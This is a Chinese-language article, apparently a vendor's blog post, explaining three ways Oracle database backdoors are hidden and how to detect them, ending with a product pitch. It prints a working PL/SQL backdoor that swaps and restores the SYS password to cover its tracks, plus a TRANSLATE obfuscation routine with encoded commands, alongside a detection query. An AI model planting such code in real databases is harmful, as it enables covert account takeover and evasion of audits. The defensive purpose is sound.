各位小伙伴们,今天咱们接着聊Oracle Rootkits话题。上次主要给各位介绍了数据库后门和Rootkits技术给数据库带来的威胁和风险。由于篇幅所限未能深入分析数据库后门和Rootkits所采用的具体技术。本文则详细展开介绍Oracle Rootkits技术的第一类(裸奔),旨在帮助小伙伴们掌握此类后门Rootkits技术的特点后,更好地保护自己的数据库安全。
如果有小伙伴们没有事先了解数据库后门和Rootkits,可以先阅读《ORACLE安全隐患系列三:Oracle Rootkits——为后门披上隐形衣的暗黑高手》做个大致了解。
为什么我们把今天的讲题命名为裸奔呢?因为和其他三类技术类型比起来,这类用来隐藏数据库后门的Rootkits技术基本不具备特别的隐蔽技巧,甚至有时候不加任何伪装就可以把后门植入到数据库中,完全是钻了数据库安全检查产品或数据库运维人员疏忽的空子而得以”存活”。
受限于攻击者能拿到的权限和攻击者自身水平,大部分数据库后门,就是采用系列三中介绍的第一类Rootkits技术。这类Oracle Rootkits技术又可以细分成三种类型:
第一种是不做任何隐藏的数据库后门
第二种是通过编码加密的数据库后门
第三种是通过Oracle warp整体加密的数据库后门
由于每种使用了不同的隐藏技术所以在找到这些威胁的时候所采用的技术手段也存在很大差异。目前,安华金和数据库攻防实验室已经发现90多例使用此类技术的数据库后门。比较典型的案例之一是在去年年底爆发的针对Oracle的比特币勒索事件,其所攻击的数据库后门就是采用此类技术中的第三种warp加密得以隐身,具体请参见《Oracle比特币勒索攻击检测及修复工具》。
数据库中一个DBA用户、一个函数、一个存储过程、一个触发器,或者几个之间相互配合都可以形成数据库后门。为了让大家更直观的理解,下面所举数据库漏洞的例子均采用数据库存储过程型做代表。
当黑客在入侵过程中获得数据库的DBA权限后,就可以针对数据库部署后门程序。这种后门存储过程为了帮助黑客达成某种目的,必定会对某些关键表,或者高危权限进行操作。例如,下图的后门dbms_xml通过调用lock和unlock来控制SYS用户的密码,当黑客操作unlock的时候,首先创建表syspa1用于存储从sys.user$中拿到的SYS用户的密码。然后修改SYS密码为hack11hack'。登录SYS用户后,有目的地入侵有价值的数据库后,利用SYS用户权限清理数据库的日志信息。最后使用lock把SYS用户的密码还原回去,并删除中间生成的表syspa1。黑客利用这个存储过程既能达到自己的目的,又能巧妙地隐藏SYS密码曾被修改的记录,并将SYS恢复到修改前的状态,消除数据库被入侵过的痕迹。
……..
CREATE OR REPLACE PACKAGE BODY dbms_xml AS
PROCEDURE parse (string IN VARCHAR2) IS
var1 VARCHAR2 (100);
BEGIN
IF string = 'unlock' THEN
SELECT PASSWORD INTO var1 FROM sys.user$ WHERE name = 'SYS'; --11
EXECUTE IMMEDIATE 'create table syspa1 (col1 varchar2(100))';
EXECUTE IMMEDIATE 'insert into syspa1 values ('''||var1||''')';
COMMIT;
EXECUTE IMMEDIATE 'ALTER USER SYS IDENTIFIED BY hack11hack';
END IF;
IF string = 'lock' THEN
EXECUTE IMMEDIATE 'SELECT col1 FROM syspa1 WHERE ROWNUM=1' INTO var1;
EXECUTE IMMEDIATE 'ALTER USER SYS IDENTIFIED BY VALUES '''||var1||'''';
EXECUTE IMMEDIATE 'DROP TABLE syspa1';
END IF;
……….
第一种数据库后门没采用任何隐身方法,因此,借助工具或者数据库管理员手工排查很快就可以将之揪出,并予以解决。黑客对数据库后门施以隐身技术,最常见的是采取自编码加密的方式。利用编码隐藏数据库后门存在的特征,躲避数据库安全工具或数据库管理员的定期检查。下面仍为后门dbms_xml,但在真正执行关键语句前,黑客加入了一段字符串置换的逻辑,通过这种手段把关键操作隐藏起来,下面我们用TRANSLATE来做编码置换:
………
FUNCTION conv (input IN VARCHAR2)
RETURN VARCHAR2
IS
x VARCHAR2 (300);
BEGIN
x :=
TRANSLATE (input,
'ZYXWVUTSRQPOMNLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba0987654321 ',
‘1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
);
RETURN x;
EXCEPTION
WHEN OTHERS
THEN
RETURN NULL;
END conv;
……….
函数conv 可以通过黑客自定义的映射表,把SELECT PASSWORD FROM sys.user$ WHERE name = 'SYS'这句对敏感表sys.user$和敏感字段PASSWORD 的高危查询就变成了7kdkm6Z0o773a8lZj8acZwqw.uwKx$Z3hk8kZBOCKZ=Z''717。这种方式的Rootkit通过编码的方式把数据库后门隐藏起来,躲避安全工具的检查和数据库管理员的侦测。
……….
EXECUTE IMMEDIATE conv ('7kdkm6Z0o773a8lZj8acZwqw.uwKx$Z3hk8kZBOCKZ=Z''717''')INTO var1;
EXECUTE IMMEDIATE conv ('NxKOvKZvOMDKZwqwzOYZ(NADYZtOxNHOxX(YPP))');
EXECUTE IMMEDIATE conv ('GBwKxvZGBvAZwqwzOYZtODuKwZ(''') || var1 || ''')';
COMMIT;
………
黑客在调用存储过程时,内部调用函数conv对编码的字符串作出还原的动作,黑客利用该方式消除了第一种方式中后门可能被发现的风险。这种方法比第一种更加隐蔽,且危险。
虽然第二种方法已经成功隐掉了数据库后门的特征,却引入了新的暴露点,因为加密或编码函数本身可能会暴露一切。而且解密函数会直接出现在数据中,解密后数据库后门也就难以隐藏了。
于是,很多黑客开始采用warp(笔者不太清楚其他数据库是否存在类似Oracle的warp)对数据库后门进行加密。Warp的特点有二:1.Oracle只提供了warp加密并未提供warp解密,给破解后的应对带来一定技术难度;2.warp加密的存储过程或函数在Oracle运行态中自动解密并执行,无需引入其他变量,这就增加了后门被发现的风险。dbms_xml用warp加密见下图所示:
看完上述的后门隐身技术,很多小伙伴可能会疑惑:所谓“裸奔”级别的后门隐身技术,哪有想象中那样简单啊。特别是第二、第三种方法,找出被它们隐藏的后门还是困难重重的。别急,等你看完安华金和数据库攻防实验室给大家支的招,你就觉得,这个技术也不过如此。
前述第一种方式相对最简单,这种方式的数据库后门没有使用任何隐身技术,想抓捕这种方式下的数据库后门,关键是具备对“三敏感”的捕获能力。
“三敏感”即敏感表、敏感字段和敏感操作的简称。通过sys.source$可以查询哪些存储过程或函数中存在调用“三敏感”的地方,例如,可以使用类似下方的检查项来检查是否存在修改密码的行为:
select ……… SQLTEXT from dba_source a,dba_procedures b……
where lower(text) like '%grant%to%identified%by%'……
and lower(text) not like '% wrapped%'………..
……..
把握好“三敏感”的检查原则,应该就可以揪出潜伏在数据库中的第一种数据库后门。而破除第二、第三种后门的隐身技术,则需要破除它们自身所携带的编码/加密保护。
第二种除了检查“三敏感”的操作,还需要检查哪些函数或存储过程等使用了解密函数或者置换函数。先发现使用这些加解密或编码的函数,然后再检查哪些存储过程调用过该函数,最终安排人力进行一一排查。
第三种由于warp加密缺乏公开解密办法,是相对最难清除的一种后门隐身技术,其难点不但在于繁重的人力工作,还需要掌握warp解密的算法。Warp解密算法相对较为复杂,有很多细节,本文暂不展开说明。
寻找数据库中潜伏的后门,需要交给专业的公司。安华金和的数据库漏洞扫描产品,涵盖上述三种后门隐身的破解能力,能破解后门使用的上述隐身技术,通过特征揪出潜伏在数据库中的安全威胁,为数据库安全保驾护航。